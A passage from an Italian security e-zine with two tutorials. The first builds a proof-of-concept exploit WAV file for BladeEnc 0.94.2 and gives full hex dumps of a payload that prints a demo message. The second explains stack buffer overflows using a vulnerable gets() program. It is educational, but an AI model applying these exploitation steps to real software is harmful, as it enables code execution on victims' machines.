lanciare il debug di | | Bladeenc tramite "Debug->Load Process" inserendo il percorso del nostro | | file wave. | | | | Continuiamo l'esecuzione del programma tramite Run (F9) finche' non ci | | si para davanti un MessageBox che ci avverte di una "eccezione" e ci | | mostra l'indirizzo EIP corrente dove si e' verificato il problema. | | | | Ora invece di dare il SI od il NO al MessageBox di errore che e' | | comparso dobbiamo prima mettere in pausa l'esecuzione del programma | | con il tasto Step Over (F8) o Step Into (F7). Dopodiche' selezioniamo | | il NO. (NON usate il bottone Pause!) | | | | Perfetto abbiamo la posizione di EIP nel nostro file wave che e' | | 0x00000130 e possiamo vedere nella finestra di W32Dasm a sinistra che | | dall'indirizzo ESP (0x0069e888) ci sono tutti i bytes che partono da | | dopo l'indirizzo EIP nel file (ossia da 0x00000134 in poi). | | | | Se avete il debugger davanti agli occhi e Win98 dovreste ritrovarvi | | i miei stessi valori. | | | | Se invece dove c'e' [ESP+00000000] non c'e' nessun byte presente nel | | nostro file, vuol dire che dobbiamo scorrere in giu' con PGDOWN la | | memoria dello stack (quindi da [ESP+00000004] in poi). | | | | Prima o poi troveremo i nostri bytes ed a quel punto non dovremo far | | nient'altro che eseguire una breve somma, ossia [ESP+indirizzo_bytes]. | | Il risultato di tale addizione dovra' essere considerato come un | | "nuovo" indirizzo ESP (per farla breve e' l'indirizzo di memoria dove | | inizia il nostro codice quanto viene caricato in memoria e che per | | comodita' preferisco considerarlo come un nuovo indirizzo ESP). | | | | Vi assicuro che e' molto piu' difficile da spiegare che da eseguire. | | | | | | | | ####################################################################### | | | | | | ===================================== | | Quarto passo (gli ultimi preparativi) | | ===================================== | | | | | | Ci servono le ultime 2 cose per poter scrivere il nostro codice: | | | | - una funzione che visualizzi un messaggio | | - una funzione per terminare il programma | | | | La prima funzione si puo' trovare con un debugger oppure guardando il | | listato Assembly del programma. | | Difatti in tutti (o quasi) i programmi c'e' una funzione che mostra a | | video una stringa se si tratta di un programma per console o di un | | MessageBox o simile se usa le API di Windows. | | | | Il nostro caso vede l'utilizzo di una stringa per console quindi | | affrettiamoci a trovare una funzione che faccia cio' all'interno del | | programma. | | | | Ci sono diversi metodi per trovarla: | | | | - il disassemblatore se e' "serio" ci mostrera' tutte le stringhe che | | vengono richiamate da ogni funzione di visualizzazione | | - con l'editor esadecimale troviamo una stringa che sappiamo verra' | | visualizzata e prendiamo l'offset del primo carattere (che e' sempre | | preceduto da un byte NULL). | | Dopodiche' con un semplice convertitore real->virtual address | | ricaveremo l'indirizzo che tale stringa assumera' in memoria quando | | il programma verra' eseguito. | | Non e' compito di questo articolo descrivere l'utilizzo di un | | programma simile, comunque RVA | | (http://linux20368.dn.net/protools/files/utilities/rva.zip) vi sara' | | di prezioso aiuto. | | | | La funzione da "copiare" che ci servira' per Blade la troviamo | | all'indirizzo 0x0040c9e0, dove viene chiamata piu' volte per poter | | visualizzare diverse linee di testo. | | Quello che fa' e' semplicissimo in quanto e' un fprintf(): | | | | - 0x0040c9e0: carica, all'indirizzo puntato da ESP, il puntatore alla | | stringa che vogliamo visualizzare | | - 0x0040c9e7: mette su EAX il puntatore che si trova a 0x00461240 | | (penso che riguardi la specificazione di stdout) | | - 0x0040c9ec: crea un puntatore ad EAX all'indirizzo ESP+4 | | - 0x0040c9f0: finalmente chiama la funzione di visualizzazione | | | | Dopodiche' dobbiamo trovare la funzione per terminare il programma e | | qui ci viene in aiuto KERNEL32.ExitProcess che si trova all'indirizzo | | 0x00414be0 ed e' uguale ai bytes: ff1524d04100. | | | | | | | | ####################################################################### | | | | | | ============================================ | | Quinto passo (impastiamo gli ingredienti...) | | ============================================ | | | | | | Finalmente abbiamo tutti gli "ingredienti", quindi dobbiamo solo creare | | l'impasto che nel nostro caso e' il file wave con il codice da eseguire | | sulla macchina vittima. | | | | Per nostra fortuna la semplicita' delle operazioni non comporta | | l'utilizzo di alcun assembler, quindi dobbiamo solo utilizzare una | | calcolatrice esadecimale (calc di Win ad esempio) per calcolare gli | | indirizzi delle stringhe o delle funzioni da chiamare. | | | | Per prima cosa pero' inziamo col preparare il nostro file wave nel | | seguente modo: | | | | - all'offset 0x00000130 del nostro file (dove viene sovrascritto l'EIP) | | inseriremo l'indirizzo di ESP o comunque l'indirizzo dove inizia il | | nostro codice in memoria (ossia 0x0069e888). | | IMPORTANTE: i processori x86 utilizzano il metodo little-endian | | quindi qualsiasi indirizzo andra' scritto invertendo i 4 bytes: | | 0x0069e888 --> 0x88e86900 | | - copiamo tutti i bytes che vanno da 0x0040c9e0 a 0x0040c9f5 nel nostro | | file partendo dall'offset 0x00000134 | | - copiamo i bytes per terminare l'applicazione: ff1524d04100 | | - scriviamo un messaggio di qualsiasi lunghezza che termini con un byte | | NULL finale | | - puliamo tutto il resto del file usando il byte 0x90 che corrisponde | | al NOP (no operation, serve per occupare spazio senza eseguire nulla) | | | | Il nostro file wave ora dovrebbe essere simile a questo: | | | | 0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFF....WAVEfmt | | 0000010: ffff ffff 9090 9090 9090 9090 9090 9090 ................ | | 0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 00000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 00000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 00000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 00000d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 00000e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 00000f0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000100: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000110: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000120: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000130: 88e8 6900 c704 2400 3746 00a1 4012 4600 ..i...$.7F..@.F. | | 0000140: 8944 2404 e84a 8200 00ff 1524 d041 000a .D$..J.....$.A.. | | 0000150: 0a43 6961 6f20 6120 7475 7474 6920 736f .Ciao a tutti so | | 0000160: 6e6f 2063 6f64 6963 6520 6469 6d6f 7374 no codice dimost | | 0000170: 7261 7469 766f 2038 2d29 0a0a 00 rativo 8-)... | | | | | | | | ####################################################################### | | | | | | ======================================== | | Sesto passo (ricalcoliamo gli indirizzi) | | ======================================== | | | | | | Gli indirizzi da ricalcolare facendo riferimento alla posizione del | | nostro codice in memoria sono: | | | | - l'indirizzo della nostra stringa | | - l'indirizzo della funzione di visualizzazione | | | | Per calcolare l'indirizzo dell'istruzione successiva o di qualsiasi | | indirizzo nel nostro file non dobbiamo far altro che eseguire: | | | | ESP + indirizzo_nel_file - ESP_nel_file | | | | Esempio: | | | | La nostra stringa si trova all'offset 0x0000014f, ESP e' 0x0069e888 e | | l'ESP nel file si trova a 0x00000134 (in pratica da dove partono i | | bytes che vanno in memoria). | | | | 0x0069e888 + 0x0000014f - 0x00000134 = 0x0069e8a3 | | | | Cio' significa che quando il nostro codice andra' a finire in memoria | | la nostra stringa si trovera' esattamente all'indirizzo 0x0069e8a3 | | | | Invece l'indirizzo della funzione di visualizzazione e' gia' noto ed e' | | 0x00414c3f | | | | Se volessimo disassemblare il codice nel nostro file wave, avremmo: | | | | 0x00000134: mov dword ptr [esp], indirizzo_stringa | | 0x0000013b: mov eax, dowrd ptr [00461240] | | 0x00000140: mov dword ptr [esp+04], eax | | 0x00000144: call 00414c3f | | 0x00000149: call dword ptr [0041d024] | | | | Ora sostituiamo il puntatore alla vecchia stringa nella prima funzione | | con quello alla nostra stringa: | | | | La prima istruzione che prima era: c7042400374600 | | ora diventera': c70424a3e86900 | | | | Invece la quarta istruzione richiede un indirizzo relativo, e non | | assoluto, che si calcola cosi': | | | | ind_destinazione - ind_istruzione_successiva | | | | Per calcolare l'indirizzo in memoria dell'istruzione successiva ci | | affidiamo all'operazione che abbiamo eseguito prima per trovare | | l'indirizzo della stringa: | | | | 0x0069e888 + 0x00000149 + 0x00000134 = 0x0069e89d | | (ESP_mem + istr_5 + ESP_file) | | | | Ed ecco il nostro indirizzo relativo: | | | | 0x00414c3f - 0x0069e89d = FFD763A2 | | | | Quindi la quarta istruzione che prima era: e84a820000 | | ora diventera': e8a263d7ff | | | | | | | | ####################################################################### | | | | | | ===================================== | | Settimo passo (finalmente si mangia!) | | ===================================== | | | | | | Finalmente possiamo dire di avere TUTTO! | | | | Ecco il file wave completo: | | | | 0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFF....WAVEfmt | | 0000010: ffff ffff 9090 9090 9090 9090 9090 9090 ................ | | 0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 00000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 00000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 00000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 00000d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 00000e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 00000f0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000100: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000110: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000120: 9090 9090 9090 9090 9090 9090 9090 9090 ................ | | 0000130: 88e8 6900 c704 24a3 e869 00a1 4012 4600 ..i...$..i..@.F. | | 0000140: 8944 2404 e8a2 63d7 ffff 1524 d041 000a .D$...c....$.A.. | | 0000150: 0a43 6961 6f20 6120 7475 7474 6920 736f .Ciao a tutti so | | 0000160: 6e6f 2063 6f64 6963 6520 6469 6d6f 7374 no codice dimost | | 0000170: 7261 7469 766f 2038 2d29 0a0a 00 rativo 8-)... | | | | | | Avviamo il programma e godiamoci l'output: | | | | --- | | C:\install\blade>bladeenc file.wav | | | | BladeEnc 0.94.2 (c) Tord Jansson Homepage: | | http://bladeenc.mp3.no | | ======================================================================== | | ======= | | BladeEnc is free software, distributed under the Lesser General Public | | License. | | See the file COPYING, BladeEnc's homepage or www.fsf.org for more | | details. | | | | | | | | Ciao a tutti sono codice dimostrativo 8-) | | | | | | C:\install\blade> | | --- | | | | Eh eh, ciao mio caro amico "codice dimostrativo" 8-) | | | | | | | | ####################################################################### | | | | | | =========== | | Conclusioni | | =========== | | | | | | Quello che abbiamo visto oggi e' uno dei modi piu' semplici per creare | | un exploit dimostrativo che faccia eseguire codice ad un programma | | vulnerabile. | | | | L'unica parte un po' piu' "noiosa" e "complicata" riguarda il calcolo | | degli indirizzi in memoria e la conversione a volte da assoluti in | | relativi, ma dopo le prime volte diventera' quasi una cosa | | "spassosa". | | | | Spero siate arrivate a leggere fino a qui, ma piu' di tutto spero che | | queste 600 righe di articolo/tutorial abbiano suscitato interesse in | | qualcuno. | | | | Ricordatevi comunque che questo genere di vulnerabilita' e' molto | | semplice per eseguire codice, e le cose cambiano drasticamente quando | | si ha a che vedere con vulnerabilita' differenti come ad esempio buffer | | oveflow di stringhe char in cui non si possono usare bytes NULL, o | | peggio quando la porzione di codice che verra' caricata in memoria e' | | troppo piccola ed in molti altri casi in cui o si cerca di prendere la | | cosa come una "sfida" contro se stessi oppure si preferisce abbandonare | | la realizzazione del proof-of-concept. | | | | | | | | Se avete domande, commenti o correzioni non esitate a scrivermi! | | | | | | BYEZ | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L'ANG0L0 DEGLi EXPL0iT #09 - 01/06/2003 | | BUFFER 0VERFL0W: DALLA TE0RiA ALLA PRATiCA [Auriemma Luigi] 0x15/0x20 | +--------------------------------------------------------------------------+ | | | | | | | ####################################################################### | | | | Titolo: Buffer overflow: spiegazione tecnica ed esempio pratico | | Autore: Auriemma Luigi | | e-mail: aluigi@pivx.com | | web: http://www.pivx.com/luigi/ | | | | ####################################################################### | | | | | | ============ | | Introduzione | | ============ | | | | | | Oramai il termine "buffer overflow" e' entrato nel vocabolario di | | chiunque abbia una minima conoscenza di sicurezza informatica e | | soprattutto della storia della sicurezza, visto che tale problema e' | | diventato davvero quasi un simbolo. | | | | La spiegazione veloce a questo problema e che tutti conosciamo e' piu' | | o meno la seguente: | | | | "Il buffer-oveflow si presenta quando una stringa in input e' piu' | | grande del buffer ove dovra' essere immagazzinata e cio' comporta la | | sovrascrittura di parti di memoria circostanti al buffer che sono | | necessarie all'esecuzione del codice macchina" | | | | In quest'articolo invece di limitarmi a riproporre la classica frase | | appena vista, voglio spiegare meglio nel dettaglio cosa accade ad una | | macchina (x86 nel nostro caso) quando si viene a verificare un BOF | | (abbreviazione di buffer-overflow) e soprattutto le conseguenze che | | questo problema trascina con se. | | | | Per l'esempio che mostrero' mi affidero' ad un sistema Win solo per | | comodita', ma ricordate che non ci sono differenze tra i sistemi | | operativi in quanto il buffer overflow interessa appunto la macchina. | | Le uniche differenze che si possono incontrare riguardano la direzione | | dello stack che puo' essere di tipo *BSD (come su Linux) oppure di | | direzione contraria come accade su Win ed altri sistemi, ma cio' non ci | | interessa molto per i BOF. | | | | | | L'articolo non necessita di particolari conoscenze tecniche ma senza | | dubbio aver avuto a che fare con l'Assembly aiuta molto in questi | | casi. | | Comunque nella sezione successiva daro' una breve spiegazione di cosa | | incontreremo durante l'articolo. | | | | | | | | ####################################################################### | | | | | | =================== | | Cosa bisogna sapere | | =================== | | | | | | Ovviamente bisogna conoscere le basi dell'Assembly e soprattutto come | | viene gestita ed e' composta la memoria nei processori x86. | | | | Per ovviare a qualche lacuna o qualche ruggine ecco una breve intro di | | cio' con cui avremo a che fare: | | | | | | ----- | | STACK | | ----- | | | | Lo stack e' una zona di memoria adibita al contenimento dei dati dei | | programmi. | | Esso viene spesso paragonato ad una pila, invece a me sembra di piu' un | | semplice contenitore che contiene tanta roba ma noi possiamo inserire o | | prelevare gli oggetti al suo interno soltanto uno per volta. | | Ad aiutarci comunque nell'operazione di prelevamento ed inserimento | | c'e' il puntatore allo stack il cui compito e' proprio quello di | | eseguire operazioni ad un "livello" specifico. | | | | Lo stack puo' quindi essere visto cosi': | | | | STACK | | |-----------| | | | oggetto 0 | | | | ... | | | | oggetto 7 | | | | oggetto 8 | | | | oggetto 9 | | | | ... | | | |-----------| | | | | | | Lo stack ha una sua direzione che varia a seconda del sistema | | operativo, difatti Win e Linux utilizzano 2 direzioni opposte. | | Comunque questa e' solo una nota e non ci interessa. | | | | | | | | --- | | EBP | | --- | | | | EBP e' un registro x86 ed e' il puntatore alla base dello stack, serve | | per sapere da dove inizia lo stack che stiamo utilizzando (ad esempio | | da dove iniziano i dati per la funzione corrente che stiamo eseguendo): | | | | STACK | | |-----------| <-- qui e' dove punta EBP (ossia dove inizia lo stack) | | | oggetto 0 | | | | ... | | | | oggetto 7 | | | | oggetto 8 | | | | oggetto 9 | | | | ... | | | |-----------| | | | | | | | | | | --- | | ESP | | --- | | | | ESP invece e' un puntatore ad un indirizzo dello stack. | | In pratica mentre EBP ci ricorda da dove inizia lo stack, ESP invece ci | | permette di scorrerlo a nostro piacimento per prelevare od inserire | | dati in un punto preciso della memoria: | | | | | | STACK | | |-----------| <-- qui e' dove punta EBP (ossia dove inizia lo stack) | | | oggetto 0 | | | | ... | | | | oggetto 7 | | | | oggetto 8 | <-- qui invece e' dove puo' puntare ESP ad esempio | | | oggetto 9 | | | | ... | | | |-----------| | | | | | | | | --- | | EIP | | --- | | | | Forse il registro piu' famoso nella sicurezza informatica. Esso e' | | semplicemente un puntatore all'istruzione successiva, ossia cio' che la | | CPU dovra' eseguire subito dopo l'istruzione corrente. | | E' proprio lui a permettere di eseguire codice tramite un programma | | buggato (vi dicono niente CodeRed ed altri worm o tutti gli exploit | | che permettono di diventare root su macchine remote o locali?). | | | | | | | | ---- | | CALL | | ---- | | | | CALL non e' un registro ma e' un'istruzione che svolge le seguenti | | operazioni: | | | | - Salvare EIP in memoria | | - Saltare alla funzione che vogliamo eseguire (modicando EIP) | | | | Questo e' in breve cio' che fa' CALL. | | | | | | | | --- | | RET | | --- | | | | Anche RET non e' un registro ma e' un'istruzione che si preoccupa solo | | di riassegnare ad EBP ed EIP i valori precedentemente immagazzinati | | nello stack. | | E' proprio quando viene chiamato RET che EIP puo' essere comandato a | | piacimento da chi ha creato il BOF. | | | | | | | | | | ####################################################################### | | | | | | =================== | | Spiegazione tecnica | | =================== | | | | | | Prima di passare all'esempio pratico e' meglio iniziare a capire per | | quale motivo ed in quale condizione avremo il verificarsi di un BOF. | | Se avete qualche dubbio durante o dopo aver letto questa sezione | | dell'articolo lanciatevi senza problemi all'esempio pratico nella | | sezione successiva in quanto vi schiarira' molto le idee e, se anche | | voi siete come me, preferirete senza dubbio un esempio che oltre a far | | capire la teoria dimostri con i fatti cio' che si sta' dicendo. | | Comunque ritornare in questa sezione e' senza dubbio utile se vi e' | | sfuggito qualcosa. | | | | | | Come detto nell'introduzione un BOF altro non e' che la sovrascrittura | | incondizionata di un buffer con dei dati che essendo molti di piu' | | del buffer stesso verranno quindi immagazzinati anche nelle zone di | | memoria adiacenti ad esso. | | | | In questa zona di memoria (lo stack appunto) c'e' tutto cio' che | | servira' alla funzione in esecuzione... una specie di banco di lavoro | | con tutto l'occorrente pronto all'uso 8-) | | | | Perche' parlo di funzione? | | | | Semplice, il BOF si verifica proprio con le funzioni. | | Ma continuiamo... | | | | | | In pratica ogni volta che c'e' una chiamata ad una funzione (CALL), il | | processore si occupera' di salvare in memoria il valore dell'EIP | | corrente in modo da potersi riposizione in quella stessa posizione al | | termine della funzione che si sta' chiamando. | | Il programma invece appena viene raggiunto l'inizio della funzione | | dovra' subito salvare il puntatore EBP che puntava all'inizio del | | precedente stack e dopodiche' lasciare dello spazio proprio prima di | | esso in modo che venga utilizzato dalle variabili. | | | | Da sottolineare che l'immagazzinamento di EIP e' tutto a carico del | | processore in quanto il programma NON puo' modificare od operare su | | tale registro direttamente. | | | | Questa semplice operazione che abbiamo appena visto permette infatti al | | programma di poter ripescare il puntatore all'istruzione che abbiamo | | lasciato prima di chiamare la funzione, non appena quest'ultima si | | concludera' (in gergo, "ritornare"). | | | | In Assembly, quando una funzione inizia, la prima cosa che fara' quindi | | e' questo: | | | | | | push ebp | | mov ebp, esp | | sub esp, MEMORIA_PER_LE_VARIABILI | | | | | | Semplice: immagazzina il vecchio EBP, dice ad EBP dove inizia il nuovo | | stack e successivamente alloca lo spazio per le variabili che appunto | | verranno posizionate prima di EBP ed EIP. | | | | Insomma un metodo semplice semplice che pero' puo' causare moltissimi | | problemi per via dei BOF. | | | | Da come chiunque puo' aver intuito, i problemi con il BOF non si | | vedranno subito dopo aver sovrascritto il buffer ed i 2 registri | | salvati, ma si avranno dopo che la funzione tentera' di ritornare alla | | vecchia posizione precedentemente salvata nello stack (dove si trovano | | le istruzioni che dovevano essere eseguite dopo la chiamata alla | | funzione). | | Invece di ritrovarsi al vecchio indirizzo, il programma arrivera' alla | | posizione indicata dal registro EIP che, tramite l'istruzione RET alla | | fine della funzione, si ritrovera' al suo interno i bytes che erano | | stati immessi precedentemente e che hanno causato la sovrascrittura | | della memoria adiacente al buffer di destinazione. | | | | | | Grosso modo questo e' uno stack "integro": | | | | [buffer1][EBP][EIP] | | | | E questo invece e' come si presenta appena avviene un BOF: | | | | [stringa][str][str][str....] | | | | dove str e' la stringa di dati immessa dall'utente o comunque da | | considerarsi come "sorgente" (mentre il buffer viene considerato la | | "destinazione"). | | | | Penso che sia chiaro ora che fine fanno i bytes in piu' quando si | | verifica un BOF... | | | | | | Beh la parte teorica puo' anche ritenersi conclusa, ora iniziamo | | seriamente con un bell'esempio pratico. | | | | | | | | ####################################################################### | | | | | | ========================== | | Cosa ci serve per iniziare | | ========================== | | | | | | Prima di passare all'esempio pratico avremo bisogno di alcuni tool che | | sono tutti disponibili come freeware od OpenSource. | | | | | | Innanzitutto abbiamo bisogno di un compilatore C e se non ne abbiamo | | uno, una buona scelta potrebbe proprio essere Lcc-win32 del francese | | Jacob Navia. | | | | http://www.cs.virginia.edu/~lcc-win32/ | | | | | | | | Dopodiche' ci serve un disassembler. La mia scelta personale per | | qualcosa di veloce ed OpenSource ricade su Disasm del coreano Sang Cho. | | | | http://www.geocities.com/SiliconValley/Foothills/4078/disasm.html | | | | | | | | Se vogliamo anche saperne di piu' riguardo al movimento dei registri o | | cosa c'e' in memoria durante l'esecuzione di una parte di un programma, | | un eccellente scelta puo' essere TD32, ossia il Turbo Debugger 5.5 di | | Borland rilasciato free. | | Vi risparmio tutte le rotture per poterlo prelevare dal sito della | | Borland in quanto l'ho messo a disposizione sulla mia pagina personale: | | | | http://www.pivx.com/luigi/misc/td32-55.zip | | | | | | | | Se non avete mai usato un compilatore C ed avete optato per Lcc, il | | seguente file .bat vi potra' essere d'aiuto: | | | | ---lcc.bat--- | | @echo off | | c:\lcc\bin\lcc.exe -A -e20 -O -p6 -unused %1.c | | c:\lcc\bin\lcclnk.exe -s -subsystem:console %1.obj %2 %3 %4 %5 %6 %7 %8 | | %9 | | del %1.obj | | ------------- | | | | Quindi per compilare l'esempio che mostrero' nella sezione successiva | | non dovrete far altro che digitare: "lcc bof" e basta. | | Tutto qui. | | | | | | | | ####################################################################### | | | | | | =============== | | Esempio pratico | | =============== | | | | | | Il seguente sorgente in linguaggio C e' un classico esempio di BOF: | | | | ---BOF.C--- | | | | #include | | | | | | void leggistringa(void); | | | | | | int main(void) { | | leggistringa(); | | return(0); | | } | | | | | | void leggistringa(void) { | | long num = 0; | | char buff[8]; | | | | gets(buff); | | } | | | | ----------- | | | | | | Chi conosce il C sicuramente (o almeno spero) avra' iniziato a tremare | | e sudare freddo alla visione della funzione gets() che puo' essere | | considerata a tutti gli effetti come la funzione piu' pericolosa | | esistente nella libreria standard del linguaggio C e difatti molti | | compilatori visualizzano dei bei warning quando si cerca di | | utilizzarla. | | | | Tale funzione difatti legge dallo standard input (tastiera) la stringa | | che dopo verra' buttata nel buffer specificato con l'unica accortezza | | di sostituire il carattere line-feed (l'invio a capo che abbiamo | | digitato per terminare l'immissione dati) con un byte NULL. | | | | La particolarita' e la pericolosita' della funzione sta' nel fatto che | | se ne sbatte altamente di controllare se la stringa che ha immesso | | l'utente e' piu' grande del buffer ove verra' collocata. | | Pensate ad un autotreno che non frena allo stop ma continua la sua | | corsa e frenera' quando gli pare... questa e' la base dei BOF. | | Insomma se cercate grane con i buffer overflow, gets() e' cio che fa' | | per voi 8-) | | | | Ma veniamo a noi. | | | | Secondo i nostri calcoli nello stack dovranno essere tenuti in | | considerazione esattamente 12 bytes in quanto abbiamo gli 8 bytes di | | buff piu' i 4 bytes di num (un numero long in memoria infatti occupa | | appunto 4 bytes e comunque la logica a 32bit degli attuali processori | | divide tutto in 4 bytes alla volta). | | | | Da notare che spesso se si usano dei buffer o altre variabili non | | inizializzate, la memoria necessaria verra' allocata solo quando | | verranno effettivamente utilizzate. | | | | Una volta compilato tale codice avremo che la funzione leggistringa() | | contiene il seguente codice macchina: | | | | | | ------------chiamata a leggistringa()---------- | | :00401250 E803000000 call 00401258 | | :00401255 31C0 xor eax, eax | | :00401257 C3 ret | | -----------------leggistringa()---------------- | | :00401258 55 push ebp | | :00401259 89E5 mov ebp, esp | | :0040125B 83EC0C sub esp, 00C | | :0040125E 8D45F4 lea eax, dword[ebp-0C] | | :00401261 50 push eax | | :00401262 E829000000 call 00401290 | | ;;call CRTDLL.gets | | :00401267 59 pop ecx | | :00401268 C9 leave | | :00401269 C3 ret | | ----------------------------------------------- | | | | | | L'istruzione CALL all'indirizzo 00401250 fara' si che l'attuale EIP | | (00401255 appunto) venga immagazzinato in memoria all'indirizzo | | 0063fdd4, cosicche' esso potra' essere ripreso quando verra' invocata | | l'istruzione RET al termine della funzione leggistringa(). | | | | La prima istruzione di leggistringa() salva EBP nello stack, mentre la | | seconda copia su EBP il valore di ESP. | | Ricordiamoci che EBP puntava all'inizio del vecchio stack prima che | | entrassimo in leggistringa(). Esso serve appunto per riappropiarci del | | nostro vecchio stack appena terminata la funzione. | | Dopodiche' il programma alloca 12 bytes (00C) che verranno appunto | | usati per contenere le 2 variabili buff di 8 e num di 4 bytes | | rispettivamente. | | | | | | Dopo aver avviato il nostro programma, bof.exe, inseriremo la stringa | | "1234567" che occupera' alla perfezione il buffer di 8 bytes chiamato | | buff in quanto 7 numeri occuperanno i primi 7 bytes e l'ottavo sara' | | un NULL byte che serve a delimitare la stringa. | | | | Esattamente alla posizione 0063fdd4 del nostro stack (ossia il valore | | di ESP) la situazione "normale" dovrebbe essere la seguente: | | | | 0063fdd4: 31 32 33 34 35 36 37 00 1234 567. | | 0063fdda: 00 00 00 00 38 fe 63 00 .... [EBP] | | 0063fde4: 55 12 40 00 [EIP] | | | | | | Tutto cio' e' chiarissimo: | | | | 0063fdd4 ecco gli 8 bytes di buff appunto uguali a "1234567" + NULL | | 0063fdda ecco i 4 bytes di num uguale a 0 | | 0063fde0 ecco EBP che abbiamo salvato precedentemente | | 0063fde4 ecco infine il puntatore EIP salvato nello stack che punta | | esattamente al codice che c'e' dopo la chiamata alla nostra | | funzione leggistringa() (quello all'indirizzo 00401255 | | appunto) | | | | | | Tutto chiaro? | | In questi 20 bytes c'e' il nostro BOF quindi cerchiamo di comprenderli | | alla perfezione. | | | | | | Ora invece di inserire "1234567" inseriremo proprio 20 bytes, ossia: | | | | 8 per il buffer chiamato buff | | 4 per il numero long chiamato num | | 4 per il valore di EBP precedentemente salvato | | 4 per il valore di EIP precedentemente salvato | | | | La stringa da me scelta e' "123456781234aaaabbbb": | | | | | | 0063fdd4: 31 32 33 34 35 36 37 38 1234 5678 | | 0063fdda: 31 32 33 34 61 61 61 61 1234 aaaa | | 0063fde4: 62 62 62 62 bbbb | | | | | | Wow! Indovinate un po' che fine hanno fatto EBP ed EIP??? | | EBP e' ora 0x61616161, ossia "aaaa" ed EIP e' diventato 0x62626262 che | | e' uguale a "bbbb". | | | | | | Bene bene, e' proprio cio' che volevo farvi vedere. Ora sicuramente il | | vostro sistema operativo vi avra' segnalato un errore critico in quanto | | che l'indirizzo 62626262 non e' una zona di memoria del programma | | bof.exe, quindi esso non e' autorizzato a leggere, scrivere o | | posizionarsi in quel punto. | | Ma la cosa importante e' che appunto la macchina ha provato a leggere | | ad un indirizzo che e' stato inserito da un possibile utente estraneo, | | il quale avrebbe potuto fare il bello ed il cattivo tempo sulla vostra | | macchina. | | | | Forse ora qualche sysadmin capisce perche' le patch vanno applicate il | | prima possibile e non dopo che un worm si e' divertito sulla sua | | macchina. | | | | | | Per chi e' maniaco dei dettagli riporto il valore che i registri | | assumono durante l'esecuzione di leggistringa() presi direttamente col | | debugger TD32: | | | | :00401250 EBP: 0063fe38, ESP: 0063fde4 CALL leggistringa() | | --- | | :00401258 ESP: 0063fde0 | | :00401259 EBP = ESP (0063fde0) | | :0040125B ESP: 0063fdd4 | | :0040125E EAX: 0063fdd4 | | :00401261 ESP: 0063fddd0 | | :00401262 ECX: 7fc1b3d4, EDX: 81a16d7c gets() "123456781234aaaabbbb" | | :00401267 ECX: 0063fdd4, ESP: 0063fdd4 | | :00401268 EBP: 61616161, ESP: 0063fde4 leave | | :00401269 ESP: 0063fde8, EIP: 62626262 ret | | | | | | Se qualcuno di voi avesse comunque ancora dei dubbi sul fatto che i BOF | | si presentano quando si ritorna da una funzione, vi consiglio di | | aggiungere al nostro programma di esempio alcune righe di codice dopo | | la riga "gets(buff);" | | | | Difatti possiamo ad esempio aggiungere qualcosa tipo: | | | | ... | | gets(bufF); | | printf("Se mi vedi non puoi avere dubbi 8-)\n"); | | } | | | | | | Provate a compilare il programma con questa nuova riga di C e vedrete | | che il crash avverra' proprio all'uscita da leggistringa() dopo che e' | | stata visualizzata la stringa che abbiamo appena aggiunto. | | Naturalmente un semplice printf() come quello che ho usato io non | | richiede altre variabili o spazio aggiuntivo nello stack, mentre altre | | operazioni piu' complesse lo possono modificare. | | | | | | | | ####################################################################### | | | | | | =========================== | | Effetti dei buffer overflow | | =========================== | | | | | | Oramai penso sia chiaro a tutti perche' i buffer overflow creano cosi' | | tanti problemi... semplicemente perche' permettono di eseguire codice | | sulla macchina che esegue il programma vulnerabile. | | | | Non e' compito di quest'articolo entrare nei dettagli e nei vari metodi | | esistenti per creare un exploit per buffer overflow, comunque la logica | | e' sempre quella di far puntare EIP ad un pezzo della stringa che e' | | stata immessa dall'attacker. | | | | In pratica e' un po' come se invece di "123456781234aaaabbbb" un | | attacker immetta del codice eseguibile prima o preferibilmente dopo il | | valore che andra' a sovrascrivere EIP e settare quest'ultimo valore | | all'indirizzo in cui verra' immagazzinata la sua stringa. | | | | Beh sembra piu' difficile a dirsi che a farsi 8-) | | | | | | Ho scritto un articolo riguardo la scrittura di un semplice exploit | | dimostrativo per un bug simile al BOF ma che consiste nella | | sovrascrittura dell'indirizzo di ritorno dopo 